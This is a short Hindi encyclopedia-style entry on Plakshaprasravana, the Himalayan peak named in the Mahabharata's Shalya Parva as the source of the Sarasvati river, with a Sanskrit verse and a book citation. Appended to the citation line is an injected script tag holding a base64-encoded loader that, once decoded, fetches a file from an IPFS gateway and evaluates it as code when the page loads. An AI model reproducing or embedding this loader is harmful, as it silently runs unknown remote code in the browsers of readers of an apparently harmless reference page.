प्लक्षप्रस्रवण
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प्लक्षप्रस्रवण महाभारत काल में सरस्वती नदी के उद्भव स्थान का नाम था।
'पुण्यं तीर्थवरं दृष्टवा विस्मयं परमं गत:, प्रभायं च सरस्वत्या: प्लक्षप्रस्रवणं बल:'[1]
- यह एक पर्वतश्रृंग था, जो हिमालय की श्रेणी का एक भाग था।
- बलराम ने सरस्वती के तटवर्ती तीर्थों की यात्रा में प्रभास (सरस्वती समुद्र संगम) से लेकर सरस्वती के उद्भव 'प्लक्षप्रस्रवण' तक के सभी पुण्य स्थलों को देखा था, जिसका विस्तृत वर्णन महाभारत, शल्यपर्व में है।
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टीका टिप्पणी और संदर्भ
ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 592 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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